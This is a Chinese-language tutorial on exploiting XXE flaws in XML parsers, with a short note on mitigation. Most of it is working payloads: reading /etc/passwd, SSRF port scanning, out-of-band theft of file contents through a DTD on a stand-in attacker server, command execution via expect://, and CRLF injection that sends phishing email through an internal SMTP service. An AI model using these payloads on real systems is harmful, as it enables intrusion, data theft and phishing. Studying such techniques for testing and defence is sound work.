XXE漏洞利用技巧：从XML到远程代码执行

miuiYjJ.jpg!web

你的Web应用是否存在XXE漏洞？

如果你的应用是通过用户上传处理XML文件或POST请求（例如将SAML用于单点登录服务甚至是RSS）的，那么你很有可能会受到XXE的攻击。XXE是一种非常常见的漏洞类型，我们几乎每天都会碰到它。在去年的几次web应用渗透中，我们就成功的利用了好几回。

什么是XXE

简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

例如，如果你当前使用的程序为PHP，则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体，从而起到防御的目的。

基本利用

通常攻击者会将payload注入XML文件中，一旦文件被执行，将会读取服务器上的本地文件，并对内网发起访问扫描内部网络端口。换而言之，XXE是一种从本地到达各种服务的方法。此外，在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

以下是一个简单的XML代码POST请求示例：

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

之后，上述代码将交由服务器的XML处理器解析。代码被解释并返回：{“Request Successful”: “Added!”}

现在，当攻击者试图滥用XML代码解析时会发生什么？让我们编辑代码并包含我们的恶意payload：

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

代码被解释并返回：

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

Blind OOB XXE

如上例所示，服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。但是在某些情况下，即便服务器可能存在XXE，也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况，我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容，但我们仍然可以使用易受攻击的服务器作为代理，在外部网络上执行扫描以及代码。

场景1 – 端口扫描

在第一个示例中，我们通过URI将请求指向了/etc/passwd文件，并最终成功的为我们返回了文件中的内容。除此之外，我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求，将XXE转换为SSRF（服务器端请求伪造）。

以下代码将尝试与端口8080通信，根据响应时间/长度，攻击者将可以判断该端口是否已被开启。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

场景2 – 通过DTD窃取文件

外部文档类型定义（DTD）文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上，使远程易受攻击的服务器获取该文件并执行其中的恶意命令。

以下请求将被发送到应用程序以演示和测试该方法：

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

上述代码一旦由易受攻击的服务器处理，就会向我们的远程服务器发送请求，查找包含我们的payload的DTD文件：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

让我们花点时间了解上述请求的执行流程。结果是有两个请求被发送到了我们的服务器，第二个请求为/etc/passwd文件的内容。

在我们的VPS日志中我们可以看到，带有文件内容的第二个请求，以此我们也确认了OOB XXE漏洞的存在：

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

场景3 – 远程代码执行

这种情况很少发生，但有些情况下攻击者能够通过XXE执行代码，这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运，并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上，那么我们就可以执行如下的命令：

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应：

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

场景4 – 钓鱼

我们使用Java的XML解析器找到了一个易受攻击的端点。扫描内部端口后，我们发现了一个侦听在25端口的SMTP服务，Java支持在 sun.net.ftp.impl.FtpClient 中的ftp URI。因此，我们可以指定用户名和密码，例如ftp://user:password@host:port/test.txt，FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A ( CRLF )添加到URL的user部分的任意位置，我们就可以终止USER命令并向FTP会话中注入一个新的命令，即允许我们向25端口发送任意的SMTP命令：

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:[email protected]:25

当FTP客户端使用此URL连接时，以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器：

ftp://a
EHLO a
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
From: [email protected]
To: [email protected]
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:[email protected]:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件（例如：帐户重置链接）并绕过垃圾邮件过滤器的检测。除了链接之外，甚至我们也可以发送附件。

实用工具

能手动编辑web请求对于XXE攻击至关重要，这里我推荐大家使用 BurpSuite 。BurpSuite的扫描功能可以为我们检测潜在的XXE漏洞，其次burp的Intruder功能非常适合用于端口探测。但要提醒的是工具只是我们的辅助，在某些情况下手动测试可能效果更好！

HTTP请求分析工具像 RequestBin 和 HookBin 都非常适合OOB XXE的测试。此外，BurpSuite Pro的Collaborator也是个不错的选择，但一些安全研究人员他们更喜欢使用他们自己的VPS。

缓解措施

上面讨论的主要问题就是XML解析器解析了用户发送的不可信数据。然而，要去校验DTD(document type definition)中SYSTEM标识符定义的数据，并不容易，也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此，最好的解决办法就是配置XML处理器去使用本地静态的DTD，不允许XML中含有任何自己声明的DTD。